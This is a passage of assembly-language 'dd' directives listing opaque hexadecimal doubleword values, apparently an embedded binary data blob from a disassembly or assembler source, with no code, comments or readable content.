11CAA8A9h, 51DBC351h, 0EF8180C9h, 18D81715h dd 0C5310065h, 90B41C1h, 72ECAFCAh, 9FFC0E00h, 4AB4BB9Bh dd 73D4A835h, 10099CCh, 0A702C8D3h, 59F22038h, 0BDAC6000h dd 77C4452Dh, 54402557h, 0E5801C5Bh, 0D1BE931Ch, 1971AFh dd 0CB73B897h, 36812CB1h, 5A52AA00h, 0C1343BD8h, 4D9827DEh dd 0F840D02Eh, 18CD5BC6h, 7AA03500h, 75CA43DBh, 230C00B8h dd 9E4B9AF7h, 509C8A50h, 0D3866086h, 84903B1h, 584EEB03h dd 450780A0h, 0D231C319h, 1F3AB21h, 53E6C1B1h, 0D2CF457Ah dd 84F26C60h, 5440F4BEh, 7EDA7B70h, 40B20011h, 82EA6D21h dd 14168965h, 18A0BFF0h, 0D9E545C1h, 82982CB1h, 408DFF0Eh dd 80210C0Ch, 32E7BCC2h, 0C52164h, 46B77815h, 3B00BEC9h dd 4F302ED4h, 2F0360h, 3D41B8B5h, 938FDD7Bh, 7BF5043Ch dd 0AC1C6405h, 0A83868Bh, 616FD9E9h, 0A0B38468h, 21F072B0h dd 0DB8014BCh, 0E398C48Fh, 6E4500B6h, 0A8D524CCh, 7D283455h dd 90E6A806h, 0CE148C00h, 7947074Eh, 0EB2E011Bh, 89E3BD63h dd 357091F2h, 8DE99F0Eh, 8B4B57A4h, 20779D0h, 88840769h dd 407CCAE2h, 794F158h, 32F4CC15h, 0CE59F0E5h, 0B600D503h dd 7CB1F3E1h, 0F0E23A6Ch, 712CFCB8h, 6EE6296Dh, 814700D0h dd 0A69543A9h, 178D4Ch, 7182EC15h, 0E627B1h, 0B24049B4h dd 5A30A6D7h, 0CFFD9416h, 5D437000h, 0E1A2D0h, 607CB303h dd 4B9F4A7Eh, 20144Bh, 0AB489Ah, 1E352C73h, 8C8A2297h dd 2003E76h, 0DAB1D2C3h, 24789BBAh, 40407060h, 0E091D9F6h dd 501F904h, 0B0B34D26h, 1D481502h, 14625BD8h, 9B0050E4h dd 0C8958E2Eh, 961BF86h, 67B9F71Dh, 694B9458h, 820078B7h dd 0E943C324h, 180016BAh, 68B5A13h, 0B0BD7CAFh, 26631200h dd 0BADCC4D4h, 6C5F3831h, 818471E6h, 50914B95h, 2A82285h dd 0C1D39966h, 0B090466Eh, 2C204D64h, 0B2894838h, 18CC1E96h dd 0F08A4A0Eh, 44304BA3h, 241A1E90h, 0DC86C0C0h, 593C4163h dd 0C456E807h, 7D50A0C9h, 0FEC0FDFBh, 0A57CB9CEh, 223E88D9h dd 0A14809E2h, 78926670h, 8B5BC99h, 0E6BF255Eh, 57A144C0h dd 40131917h, 0C7C12C31h, 1F00B072h, 0AA17508Dh, 4E25EDB2h dd 13C4C440h, 0EFF6E126h, 384BA707h, 2F7824E0h, 20616035h dd 703684Fh, 4401A2E0h, 43D0FFCCh, 50224D57h, 44A02B25h dd 14D16ACFh, 8126A100h, 6720D06Ch, 0E9B6050Fh, 0D8385CEBh dd 5D5E6854h, 7D2C28h, 580C9DB0h, 4CBC04C7h, 30378D20h dd 4969C92Ah, 1287BE6h, 0F413C7B6h, 94AC0310h, 144EE400h dd 0AF7F7248h, 0A0A7CD2Dh, 43BCF60Ch, 0F5700FCCh, 5F01E6C9h dd 227F53D4h, 6E250E9Ch, 34B4F607h, 8447003Eh, 0A1F4DCF7h dd 403829E6h, 0C0450515h, 508890B5h, 442B4FC3h, 0C0CBBE1Ch dd 78A3BD21h, 0C0E51F0Ah, 7743ECC3h, 154D90B5h, 0B9E7002Bh dd 60CC8DEFh, 7D0F4931h, 24EBC559h, 0CC0E670h, 39D6C78h dd 58798416h, 0E2A05AA8h, 31885F6Eh, 7B963F93h, 57E05387h dd 5E4430FAh, 45749A0Eh, 145A6C2Fh, 0CB3B2EC4h, 0A4E3044h dd 0C19D7A1Ch, 0C3E47BBCh, 0A9160302h, 170FB5FFh, 118C43B7h dd 0C8D15491h, 90B5E92Eh, 0C035DF50h, 2FFC1984h, 7E00C960h dd 2D7BE4B4h, 1445783Bh, 9489B5C5h, 90682CC8h, 2C909420h dd 268024B1h, 3603EBF0h, 0C2680915h, 745CB2B4h, 0FC2CD596h dd 0F5E200ABh, 0C9A8330Fh, 0B9001FD5h, 0C42D0495h, 1A0FD6Dh dd 4422E65Ah, 73646C96h, 67522184h, 0AAE31034h, 210991ECh dd 549D3FBAh, 0BEA02Ch, 853587E0h, 603EA569h, 91571F02h dd 7ECECD84h, 9C424FCh, 949863A2h, 4595E9C1h, 6B940368h dd 80C4CBFBh, 60A0B3D3h, 362DDE00h, 5D0F69ECh, 0FF9A2871h dd 0A2C7A008h, 95B45FCDh, 0C0A2FCh, 64C35950h, 1B8CA3Bh dd 0BD74B3BCh, 48A4DE69h, 6152B4B8h, 4DC13DC4h, 5F373A78h dd 14301C65h, 5E194h, 65AEDBBFh, 61BD7F64h, 4BD3981Dh dd 0BC745383h, 0AF95F0F9h, 912600D9h, 14BB40C8h, 0F0922A4Ah dd 0CCCA4B4Fh, 0B180123Ch, 0F1AF6BC9h, 0C0178521h, 5C22CD0Ah dd 42D8FEC1h, 78B8B9C2h, 0D9EC2B84h, 53C09E00h, 67D3E69Bh dd 0FBAE1158h, 0DFF27434h, 0C8BAE324h, 39C86614h, 988F253Bh dd 1ED9F2Ch, 371907A0h, 60904662h, 240B3290h, 80A202EEh dd 0C230F7D4h, 0BE591676h, 0E204C544h, 34160010h, 0B90B29D7h dd 748F00C6h, 0BED45C8Eh, 5D050279h, 0E3C20431h, 1958C080h dd 0E2AA04ECh, 0AA57FDE7h, 77FFDC20h, 0C8F805F0h, 0C3F9538Dh dd 55F87FD2h, 4A4AC2D3h, 7594A041h, 277EC568h, 0A5A9B05Ch dd 0DB74B50Ah, 0EF3AFF7Bh, 361300E4h, 4514A00Eh, 15382634h dd 518E0264h, 307DDEC1h, 2CCD86A0h, 8B7075B0h, 287A21F6h dd 69AF141Fh, 0A2ED7A00h, 1FF14DB4h, 49A35806h, 6C90DEC2h dd 0F0057365h, 7F7DAAB9h, 0BCBCF40Ah, 44C87717h, 0DA130708h dd 0C0E97FE4h, 1C7EC39Fh, 1421A15Eh, 18D8E351h, 32213C8h dd 74D044DAh, 58E216DDh, 0A2005822h, 97F08D49h, 39488F4Bh dd 84DC4E76h, 14E5E899h, 5FC27CACh, 288746AEh, 181C42ECh dd 4D407C7Ch, 1EDA9065h, 0FAF2D79Fh, 3D8DDD80h, 762FE884h dd 0DCA4EF19h, 0A0214B58h, 4466B420h, 485A2638h, 84612CC8h dd 0AD533616h, 4C006424h, 1EA2957Bh, 0E660057Fh, 0DD210FD5h dd 5A8B6098h, 0CCD3E500h, 9F4BB7F2h, 0ACDB5DE9h, 0D7B3C21Eh dd 2C5CD45Ch, 9AE20798h, 68161B16h, 0F809E4D3h, 0A378D0h dd 0DF73476Fh, 0BE75F342h dd 2D2470E9h, 40E49Dh, 0C08EE2D2h, 44EEDCA1h, 646FB505h dd 0A088ECAFh, 60DB41F0h, 3889E338h, 383214D5h, 0BB994302h dd 2051793Bh, 75265F81h, 3092D288h, 0DC081FBBh, 0A3DE89BDh dd 0C905C99h, 35D82CEh, 0A0BD7250h, 747BBACDh, 6FE12C41h dd 0BC642DD0h, 7255F000h, 71EDC763h, 5E1A037Ch, 50B0DF98h dd 2C596EE8h, 78A22703h, 0C193B319h, 36102428h, 0B600BBD3h dd 0DD8BE5F0h, 4C433E92h, 6D3F4F88h, 0BC2D0C4Ch, 5500A464h dd 54A348AFh, 77ABFBD0h, 0D19100CAh, 0BF6A867h, 0AD017F14h dd 3A1F1574h, 98213819h, 0FCACCC2Eh, 291E0900h, 8CC0AE8h dd 0F671B4h, 0B62D6AA7h, 340E6C3h, 2A4EE105h, 0A4227E60h dd 16107157h, 9040095Ah, 0D044E809h, 53E6C002h, 0C2C44503h dd 43C866E8h, 0FEAB20A7h, 0AC4A138Ah, 0D354EC55h, 0A466C408h dd 9F4A004Eh, 7CE3750h, 407E6300h, 3854C8Fh, 1E4B98Dh dd 0C9663AD6h, 28143A6Fh, 55631188h, 0F2562612h, 9049216Ch dd 5FC78745h, 0E75D1BD0h, 2ED22F8Ch, 88C6C481h, 0EFC0E015h dd 0B0F4354Ah, 2AD902E9h, 676CBA44h, 0C2091CF9h, 5018FEDFh dd 0CC01D0D9h, 0D4C213DAh, 21AF3275h, 0C7AC1410h, 0D72C6200h dd 529AF3D3h, 0FD28009Dh, 0BC823339h, 2000D622h, 40E87B5h dd 7DAF3B06h, 5ED7A063h, 51F67DF4h, 88783467h, 49694884h dd 0CCFA2Bh, 0F2DBC3CCh, 62C84B81h, 1A1B9302h, 0D81497BEh dd 453F270h, 0FFBB1F0Bh, 2E74E1A3h, 4EDB0002h, 549057E0h dd 17845E40h, 0B11FC14Ch, 88B8444Ch, 0FEF6943Ch, 7E01FD7Eh dd 0B4D01D44h, 0DEEECACDh, 2566C48Ch, 138094ACh, 2C41DDFCh dd 55A5DF00h, 65C6D65h, 0E07760B6h, 7674BE2Ah, 9C69D903h dd 983256ECh, 66126Dh, 61F18EE0h, 662B58Ah, 0A1A8CA17h dd 935F3C81h, 0C83DB1D1h, 0AABD7502h, 28C87B11h, 9DF4789Bh dd 2CCF44h, 13AA69CAh, 0E6AF80C5h, 0CA641D3Eh, 45708090h dd 0EC4027E0h, 0EF005079h, 0E991737Ah, 0ABD304D0h, 901814CCh dd 4852D138h, 62785751h, 4C7000FCh, 9DFA8CDAh, 0EDE0B59h dd 38BED052h, 0D827493h, 524157A7h, 63A21EDCh, 0CA5C807Bh dd 4395074Ah, 604CEE00h, 35F03603h, 4930064Eh, 613C5D6Fh dd 0C6C20716h, 46578C9h, 1819D801h, 5921EDCh, 0F6EACF77h dd 0C2FC8009h, 109FE74Bh, 0E80E8DFCh, 0BE5A14BBh, 0D118F408h dd 4F42F93Dh, 0B44D2688h, 0BB7040BCh, 604A7ED3h, 0ACCC6864h dd 5A0584B2h, 0D5E8DAA5h, 33E84BAAh, 0A7E9005h, 40ECBAF0h dd 0B07BBE63h, 16DDC27h, 3441DE70h, 7C202209h, 0CC2818BDh dd 21DD0186h, 0D497A33Bh, 2ADBF88Ch, 7D072778h, 5E3E286Eh dd 0E47FEFDFh, 0F8A03B3Ah, 3F9F895Ch, 823C0CDh, 23C8885Bh dd 5EF58h, 0D3922175h, 3E453195h, 7F24F7DEh, 5C11DCh, 6E443B8h dd 7CEDF8F5h, 0E7CFCA6h, 0ECA05D78h, 1EA40376h, 0B8C49F15h dd 0FA168010h, 0CE312Eh, 0F9DC59A4h, 7D0B3ACDh, 0C5D2300Dh dd 4463381Dh, 0C0816900h, 0E492431h, 7E72CB00h, 0F4018B36h dd 0F0C8091Bh, 0E0902ED9h, 7803A3BCh, 81FEF1F9h, 0BB60C06Dh dd 97EE1F3Ah, 0A20AC048h, 99A8CDDh, 0B513BE00h, 2772E469h dd 94C2003Dh, 0CD33E5FDh, 91A01E17h, 6600FE5Fh, 0CE4EECA1h dd 0BE4A5712h, 0B2764FBCh, 0F585008Ch, 58C1F86Eh, 9E720224h dd 0AE8D5445h, 0B7C0EC74h, 3D661Bh, 7B346E8h, 0BCE7204Eh dd 57283090h, 4FB06434h, 56261B79h, 22644454h, 8F2CA425h dd 0FF670400h, 57D7BED4h, 426600E9h, 28821E2Fh, 0CB0C6186h dd 31FBB0C2h, 0E54490F6h, 14C82A09h, 528300DCh, 0CF574B2Ah dd 4F12EC7Dh, 0F805C37Ch, 0AB852D73h, 38B3D500h, 0FED9F75Eh dd 22F41268h, 0E3A4049Ch, 69E8DCE2h, 54F9000h, 7B813F43h dd 0DA1A00D3h, 53CA70B1h, 5800714Bh, 1F0DF103h, 0FA0473Bh dd 6387CC99h, 780522A0h, 2600A759h, 215DB51Ch, 34AC12h dd 0F5ED354Ah, 4C17E6F6h, 153BA605h, 10E2F407h, 73DD7E01h dd 0C3D725DCh, 88A86C2h, 76CE82C4h, 74E44C6Ch, 8374AF4Ch dd 98BD66E6h, 0C1E3CFh, 1271D874h, 3BF54815h, 0CCE6534Eh dd 0CFA890Eh, 0BD1CF202h, 0E8D493E0h, 0F1DBEC02h, 7C596321h dd 5B2888B4h, 34D4C106h, 0B8E497A9h, 0B600177Ch, 0C42B65B9h dd 0A669EBh, 0EF154E5Eh, 7DD495B5h, 0BDA14500h, 5336C0FEh dd 0E7182F4Dh, 0AE386444h, 3B418783h, 74E0CCEDh, 26656407h dd 3DC37CBh, 9FE18590h, 8F0C67F0h, 395E3F00h, 68460B02h dd 42A40197h, 66CBF816h, 5588D06Ch, 0EF84495h, 6C902EDh dd 2F0FC09Eh, 0A039F5DEh, 69C77409h, 2644E8BFh, 0A4A5BD4Fh dd 0F438892Bh, 400D8B5h, 0C7FC8650h, 8E4548h, 6ABA4331h dd 80A94BBEh, 90F0404Eh, 273E1382h, 0EAC4FD7h, 0DFC11630h dd 18F218C9h, 6088E34Ah, 0F01412F6h, 0DF7A05F9h, 3858E007h dd 2890FF00h, 0DD013043h, 0E75F0B8Dh, 0C000BC66h, 51461034h dd 64F9AB2Ch, 79C65D60h, 0BCF025EAh, 0EC0344F1h, 0F97EA643h dd 6ACC8258h, 0FCEF019Eh, 0AC4EC50Bh, 0B0883A15h, 8050009Ah dd 8FFF4709h, 5091F67Dh, 0C061E00Eh, 93B20368h, 0BDC22F59h dd 420C1494h, 0C646EF52h, 0C14A13ACh, 0AD283457h, 0C7EC00A0h dd 0FBEF530Dh, 634C001Eh, 1BF87DC5h, 0C207F77Ah, 0A94986ACh dd 60AE5AD5h, 1074BF68h, 18A13Dh, 3E6BACCCh, 5B99DCh, 8D90EED3h dd 65B32A71h, 0D250BB02h, 0A7B51BB9h, 68F9BC0Ch, 720A3D0h dd 40655D7h, 0C2DF61F2h, 85F868DDh, 0A8CC4C57h, 0ECB0844Eh dd 7B301095h, 0E29F3E96h, 7DE99200h, 0F57381E6h, 0B9775D00h dd 501E9B9Ah, 0FC70EB8Ah, 49CD6BA4h, 0F0455061h, 0BC4F55BDh dd 1CF84C20h, 0B9753A9Fh, 0A4403803h, 0BAECBD2Dh, 0C58DE400h dd 0B5CDBE37h, 0E85CC866h, 4EE3C030h, 2B6C482Bh, 25D850E6h dd 875DA492h, 81A9FF6Ch, 0C8265E2Ch, 89134180h, 654E6EE7h dd 808DFB00h, 6463F015h, 0E4A45171h, 0BF880029h, 0A2224C64h dd 23404874h, 133DC8A0h, 2FD050h, 6BE1FECCh, 71D5499h dd 0BC42DB05h, 0D26EEC43h, 237300ECh, 3E70CB67h, 3D0B9015h dd 454926E1h, 403B07FCh, 557D203Ch, 378DFCDh, 0E490E09Fh dd 0A4205C56h, 0B281488Fh, 2E141894h, 1A998420h, 28402C0h dd 0D4C28695h, 2C19A491h, 802C3D4Ch, 62F8A388h, 0F543BE5Fh dd 38C7EC3Ch, 2365C059h, 2E00A40Ch, 5DAE676Eh, 0FC31A7h dd 0D353FF60h, 0DDF36B3Bh, 0F0483002h, 0C01F50B1h, 0FE85E4h dd 0FBAAD853h, 42A3CC86h, 9543CD3Ah, 1543F58h, 540E0B4Ah dd 0F7F0139Fh, 9D9713B9h, 6FD04952h, 0F9C0504Bh, 8FFA74ACh dd 0A2C08400h, 254EE122h, 21714E60h, 8E7CD3Ch, 384B8058h dd 0A19F25E8h, 5FCF4570h, 18F06F8h, 0D01DB3F5h, 0C0673C1Fh dd 700E9414h, 82CFC81Eh, 64CA77BDh, 336C2768h, 10014C2Bh dd 0D0C3BD1Bh, 8F7F4538h, 0F65C92B5h, 0CF8900DCh, 0A149B9F3h dd 48F82449h, 8DC219Ch, 10AF3FB4h, 0FFACD8h, 9BB9B7D9h dd 0CAAAF8A5h, 8309453Fh, 7B2A688Dh, 8CBCA4DBh, 4C484D80h dd 6900AE3Eh, 7990777Ch, 49DEC135h, 1F00C8E2h, 43D3FDB4h dd 55603A1Ch, 3704F38h, 2E9CA476h, 14A8CCD7h, 693B4449h dd 3193AC58h, 0F105E46Ch, 0DE2DCCF6h, 71A08225h, 93CA03A8h dd 6BB35A06h, 0D1F08200h, 0F96919FBh, 1C47157h, 760C0E52h dd 0F05C94CBh, 100C5A07h, 11117360h, 1E1B27D0h, 7BCF1818h dd 6138B814h, 824E8FA0h, 0C4C542D1h, 70F674h, 7EFEE8DCh dd 0F846D51Eh, 0D7FD8201h, 0A0AEA62Dh, 2742F8h, 7D98EDE2h dd 2496741Fh, 438DB500h, 4A382E7Eh, 0EEA7BF3h, 7630E43Dh dd 5BB932E1h, 844E6Ch, 3887DEF1h, 2312123h, 4FEDF2A6h dd 8C2021Eh, 0F5002CD9h, 86C942D9h, 737577A2h, 5770098Dh dd 0CCF15248h, 0C184BC10h, 0C004F8DDh, 23F8BD77h, 437F1691h dd 5D5CD09Ch, 7008EF9h, 22A5DD95h, 9DC8068h, 3BBCF6EDh dd 4210C000h, 0BD0F11E5h, 3304B94Bh, 586544E1h, 0A4B28478h dd 41573814h, 721020CEh, 23F875B7h, 0E502E81Ch, 0CEC3F6C0h dd 51457C53h, 2812A8C1h, 94851AA0h, 8034EC1Bh, 0AE90FCEh dd 30450020h, 33F6CC2Fh, 3D3BAC23h, 0C02C0156h, 596BB362h dd 70307035h, 220A884Fh, 92930703h, 0B53EF45Ah, 0E580F0E8h dd 754FC032h, 9200FAF2h, 76A281B4h, 2B8E912h, 408B608Dh dd 0C4CEBE2Ch, 0B1306C45h, 9C0B00BDh, 0AA29EA0h, 0C5E2E753h dd 0D20097F6h, 0DFCA6D0Eh, 1D3B3308h, 4202AED7h, 9D639574h dd 30790C89h, 4CBB9785h, 1631B4B4h, 206894F0h, 4F6CC1C0h dd 0E664AC03h, 220B3CB0h, 7E005291h, 90E2312Fh, 12D1119h dd 0ABCB98D4h, 5081D02Ah, 47C5DE24h, 3B1F5901h, 0A10E6645h dd 4B6C0889h, 4E42A4C4h, 68C43625h, 765FC800h, 17BB6087h dd 0D47D01DEh, 241E8A78h, 0D0223E6Ch, 5E58CA9Fh, 0C5B8CD84h dd 0A9F60009h, 0F5760BCDh, 4891C690h, 2F1B60BEh, 1B1C70E2h dd 0BB1D0133h, 72601555h, 5D851C00h, 0A737D3E1h, 0F608C28Ah dd 20E4656Fh, 8B0280A6h, 0D97D3B8Eh, 1F34DEAAh, 60BC648Dh dd 915D924Bh, 59B12200h, 991D6052h, 94F716E2h, 8080F843h dd 1720C8A9h, 34840351h, 6D96F4ADh, 6CCFF0F0h, 7DDA5E00h dd 0B8515918h, 0D7460026h, 0F3B6E78Ah, 30006898h, 0ECDFB0A9h dd 0B5CCDDC0h, 0F3D47C38h, 7B6BCB0Eh, 0DC2A806Eh, 130308E6h dd 133B4EE2h, 1B5C327Ch, 3B002819h, 262414B3h, 0F82D1CDCh dd 0E7494AACh, 0D28E002Ch, 786D16DFh, 0E54B2D4Ah, 0B7086C51h dd 0F82613D7h, 7E3A8180h, 9E23CB8h, 201E1484h, 38CC198Ch dd 35944B40h, 0FB1624C9h, 1F6C20D5h, 0E8004528h, 0ED629AD9h dd 1AA94FB9h, 50DCAEAFh, 0A08C9BDFh, 4B7331FDh, 6ED4DDBBh dd 0A4BC9035h, 534F111h, 8AE61E3Eh, 7D5AD406h, 61E4B630h dd 84C5794h, 4050ED3Ah, 0B8F35C5Eh, 40F41370h, 39510B21h dd 0FFDB2C80h, 0CF4E349Dh, 0EF10E0A4h, 0A1E0607Bh, 0E000B186h dd 7AC7BE94h, 0AEA831h, 0D002557Bh, 73E67920h, 58416422h dd 89646926h, 0CF88B42Bh, 0A05B6900h, 5C055ADDh, 1FD270FAh dd 0B1E1640Fh, 110B5339h, 282B6569h, 4B009B48h, 1051CD6Fh dd 489358Ah, 99D25DBh, 118C145Bh, 0C1013264h, 634A6C33h dd 1C206BF0h, 1CC6176h, 952E1281h, 7C5AEBD9h, 0D4B011D0h dd 884AC114h, 254CA4Bh, 9E99FFD8h, 6D989136h, 433C24F2h dd 9826A690h, 48B47915h, 16165854h, 8CF4AC07h, 16F66908h dd 66A4D9h, 0F5B5AA84h, 43059920h, 0B3CDBD12h, 0ACF03C13h dd 0B6BF4B70h, 6244264Ch, 6DE62900h, 5AA6B0Ah, 8497C06Ah dd 159C0473h, 0A460EF5Bh, 1F0BAE4Ah, 403A8C39h, 0FD7072CDh dd 481D5D8Ah, 64C46D4Fh, 0E410A5DDh, 13CD117h, 0C9663B2Ch dd 7107C8Bh, 166469D7h, 56514448h, 8C13E0E8h, 6240C84Eh dd 2D3B1D00h, 8B4838D0h, 25DE69Eh, 0B9802913h, 2BD7B079h dd 0D16405A0h, 0C8928CF8h, 11009834h, 5E6709A0h, 25BBA53Bh dd 0F0F8153Eh, 9566901Eh, 3D878C29h, 2CF733A8h, 12C113C0h dd 0E9A401F5h, 9D473AB9h, 0EAC4811h, 1DAE3261h, 903F5E90h dd 300F5228h, 433680h, 417E67B4h, 0BABC82B5h, 0D9B61509h dd 8ABCF62Eh, 83E80DB0h, 0B14E3A63h, 246A52BAh, 974064FCh dd 1F1EE5h, 5B64531h, 0E890B520h, 0DDCF2200h, 0C863C3D9h dd 0B4D1007Bh, 4CE3AD60h, 8209423Ch, 72E9C0EDh, 40789CFCh dd 0AF5FAC51h, 306D6401h, 0FFC4093Ch, 0C763A841h, 949DD808h dd 0C0630948h, 0D4C03D67h, 0BE125C07h, 0ECE4CB71h, 1E3B19AFh dd 0C92E88Ch, 0E4618AF2h, 7F1F12DBh, 0B4647090h, 73016DEEh dd 5868B6Ah, 95D493D8h, 141E0439h, 0C349B9F0h, 0FCD57C26h dd 0F54C058h, 0AA6201h, 0ED588E8Ch, 68DFC28h, 0E439CA01h dd 49176F97h, 7CFFCF40h, 141909BBh, 3091E8C2h, 4C39C7h dd 0B15D825Bh, 2DAFAA84h, 58C6BECDh, 534B4309h, 8908F634h dd 0E49AE064h, 178BD074h, 39508240h, 646800CCh, 14A9D62Ch dd 98639Ah, 0A899327Ah, 0F8ABF66Fh, 0B76200A6h, 43EBBEC9h dd 34B11AE1h, 0E922823Bh, 515988F5h, 6A033D9Ch, 935DF09Bh dd 2BEB4189h, 2D860C8h, 0AAE5CAE2h, 0B7E37516h, 8830C021h dd 0C280D655h, 501E3CF1h, 29E8011Ah, 4167C3F7h, 7B030C8h dd 98395700h, 7334F08Ch, 50891CCh, 481B01D7h, 9564E2F8h dd 4530F640h, 0AA0E06B5h, 0E5E615C0h, 14BA28E0h, 0F9036C9Ch dd 5748AE2h, 0DD106D98h, 3F049300h, 60B54637h, 0FE61F1Ah dd 30A3000Eh, 5D109235h, 0C4918125h, 27053E60h, 62B15184h dd 0D36481BAh, 896F08C5h, 1081881Fh, 464255Eh, 0A8441300h dd 0D7E566B3h, 3A678F0h, 0F81AD4AAh, 7D90428Ch, 49C0E3F6h dd 0BC756EE0h, 848E4F57h, 0C4AC0418h, 0D5F02196h, 6B221472h dd 0CFCDA212h, 86C74CC8h, 620918A0h, 263C4484h, 0B8CC4A4Fh dd 81B48E2h, 0C022EACEh, 7082CFD5h, 0AC7A4E57h, 6EB28D1Ch dd 5C4ABFD2h, 5F925040h, 449204A2h, 28684440h, 0C278C094h dd 19D999DBh, 4E00A9FCh, 3F9AC7C8h, 5597B2h, 0CD7C928Bh dd 0E814EF0Dh, 1F84E01h, 177969B8h, 0F290C8h, 0FEDE27FDh dd 8DCA618h, 0CFA3E401h, 0C62B0985h, 0BE3AD0h, 3B7F5C2Fh dd 0C0B76643h, 0CD332E1Eh, 95E28Fh, 0E901492Ah, 9BC30C58h dd 3A408E8Bh, 86C04B10h, 0DCD2E300h, 61409F6Bh, 4A7FF303h dd 1CD18E7h, 0DFDACE61h, 8094A5C3h, 91BFCF10h, 0D31C53h dd 576B50Ah, 588C2355h, 0E20B400h, 6FC301BEh, 3A1E7D09h dd 0DCC8FDCDh, 972F7160h, 89C0A5BAh, 8D4F2DDEh, 65903A60h dd 939D2403h, 988BA640h, 7FDD7100h, 1C42A5C8h, 1AF11E36h dd 0EC234088h, 4A012806h, 0CB1BCA18h, 32C366B1h, 22805BDEh dd 0A6123819h, 0EA836481h, 4C01C458h, 0E4E89B07h, 0F060132Eh dd 0A4CA2409h, 151E0B0h, 1FC547C0h, 0F3FEB183h, 80414A99h dd 0F6B66549h, 0AB8E9B96h, 2DC3E0D0h, 35D0CFF2h, 32F0A70h dd 9700D038h, 4DB5079h, 8540C714h, 562DC1DAh, 3CCE182h dd 344DFB88h, 3089D4C2h, 63518E88h, 13183107h, 4910C6FCh dd 0C31CED36h, 95DF7DF4h, 838819B1h, 969ACF78h, 0B1990DE7h dd 0F0498246h, 0CA0A98Ch, 0B688864Fh, 0B7030C93h, 9CE81288h dd 0C311DC88h, 0B65D64B1h, 0D6E76DF0h, 9C930600h, 5711F7D5h dd 1D317299h, 0C09ABAC1h, 5304C944h, 7A006380h, 64BCA097h dd 24F1223Eh, 184C090Ch, 8843E886h, 0A748582h, 0EB1D8C20h dd 0B99800ACh, 2C540925h, 0E0C46802h, 0CB3196E5h, 0DB5A00C8h dd 200E507Ch, 12F514C9h, 6924C8B0h, 0FB4A04A8h, 14FA4A17h dd 2E831609h, 6A04840h, 2109E12Fh, 8E154300h, 0EE931222h dd 51AC0306h, 3F84F0F6h, 0A4B19BE2h, 24640844h, 604C1AE5h dd 4A8EDDEBh, 0F1218966h, 0FA5A2190h, 1EA3E308h, 0D051372Fh dd 0CDB31B48h, 0B6004E98h dd 9C80C8Eh, 0C468BE19h, 2B955B0h, 10177CDCh, 0A27348F6h dd 972CA11Bh, 5A510FD4h, 60205C2Eh, 48B6D877h, 2A1C560h dd 14D2764h, 6F73FF6Eh, 0BF0DE12Bh, 0AFD38051h, 0AE94EA62h dd 0ADF686h, 9AB76854h, 0A0457E4Ah, 93126E98h, 0EC41CEC1h dd 55360924h, 8D5CF8h, 93032D7Bh, 11F06554h, 94C14B2Ah dd 99248100h, 5BE3DAD4h, 0C5501EECh, 974842F2h, 0AC91B48Ch dd 0DC23E245h, 7699000Ch, 0FB363161h, 0D90279CBh, 0C4943421h dd 0F0A44839h, 9380A059h, 3C208AB5h, 3E7C1604h, 0E7B98100h dd 0A213F237h, 24B2E8FAh, 64803B93h, 200F2255h, 0BDE134B0h dd 0CD10B304h, 0B4C13FECh, 0DD010419h, 8C298026h, 32E33927h dd 0C48803DEh, 153BB7C5h, 0B19728C0h, 0B41DE826h, 8EC40169h dd 38448D46h, 2900241Eh, 0C9DA53Ch, 7DF5014Ch, 5E9F1888h dd 2061C96Ah, 6C865224h, 819939EFh, 90EEF440h, 88CC390Ch dd 0AA722D82h, 74646797h, 110B20A1h, 7980AB2Fh, 0DF4A1FD5h dd 0EF1D5E83h, 2D49D04h, 0ACFDCAF8h, 743950h, 9C17CDB4h dd 4C159697h, 52B9F01h, 0DB6C9302h, 604B1430h, 0EFDC31BFh dd 0ED02A826h, 3E3C2CE6h, 0B2D84078h, 7F7563h, 1DE468F3h dd 2174AD1Eh, 113898B0h, 0E0800023h, 4C04CF83h, 7F761F0Ch dd 5FB800F6h, 0A1422213h, 332F8DA0h, 0B29B9000h, 6C4897ACh dd 0B4E207C0h, 0EA93B32Eh, 0CCBC64F4h, 4B88B08Ch, 888F8AC2h dd 0E529F2E1h, 4C6360E7h, 0BEEB04Ch, 282BB7Dh, 0C448DA0Ch dd 21F60EACh, 0FF1EFC69h, 0D7F9CD80h, 5B811AB0h, 0F0F2B70Ch dd 0C847188h, 83A6FA59h, 3F046A11h, 61D61F7Eh, 302094C2h dd 0DA8B8756h, 667E1011h, 0E162C3E0h, 11B8BFD9h, 0B6ED1056h dd 0E0DE0061h, 325BB8Bh, 3F0CC03Dh, 0C0A5637Dh, 0F9AF602Fh dd 0BC1FBE5Dh, 80D02C3Ah, 0E4B0A5DDh, 30AC9046h, 4A083DB8h dd 62FB5E91h, 0C02004Ch, 0D960C95Dh, 2F970FF4h, 6A6788FBh dd 5B48434Dh, 6100ADCBh, 298A7801h, 1292AE9Dh, 8B09EF5h dd 446413BCh, 2C096541h, 0A75424DDh, 0FB0060B1h, 80FE484Ah dd 0ADA50213h, 950AC9D4h, 0A201E468h, 98305B89h, 0B74D0AB6h dd 62BC0DF9h, 0C8C0C141h, 99C0A291h, 0B0EF3FC4h, 0AE59261Dh dd 0CDA69070h, 604C29F1h, 99020092h, 0A50430F2h, 0A22423E0h dd 0CD01BCD7h, 66C35BE8h, 0C41EA823h, 0D9964322h, 82B5E349h dd 9A22FC18h, 20E68Dh, 82138B93h, 25F6B240h, 9890A09h dd 0A6B41020h, 7A39C0FDh, 1339EEA4h, 0AE0A8E14h, 0B88710A4h dd 9A8A4788h, 293E4491h, 6512844Eh, 0A151481h, 8B876600h dd 161ADC12h, 0F3B73042h, 519C98F7h, 9AA630FBh, 0CD150511h dd 0E0DCBA00h, 0F964D647h, 95D10017h, 29FD41D9h, 4EB82D5Ch dd 0C8C8EE5Ch, 1768B23Bh, 20884226h, 9B251BC1h, 581498h dd 0DC12EB49h, 0B1780EA4h, 10901BE4h, 628C250h, 2BF11045h dd 99F04865h, 92A40430h, 80978EC7h, 830C8F49h, 34D58100h dd 0B624A020h, 9A077D57h, 4D031C1Ch, 0B706F923h, 0F1935D8Eh dd 6127DC31h, 9670D7A4h, 0B6072499h, 0BB0A00BCh, 9AB2CEF2h dd 20C3BA24h, 0E0C8A210h, 288A5A92h, 9A24BB22h, 0E54FC498h dd 0C48FC47h, 942D94A3h, 0F225F420h, 488039E6h, 0D38848h dd 1A578A69h, 0A5AADFDh, 0D7769214h, 900621C8h, 0ED19E84h dd 0C8313848h, 20692F59h, 8F40D9ACh, 0B19672BAh, 0DE4B0CD0h dd 8307E729h, 0C93E257Ah, 0A7CB7C0h, 0C24305D2h, 1C95D3DCh dd 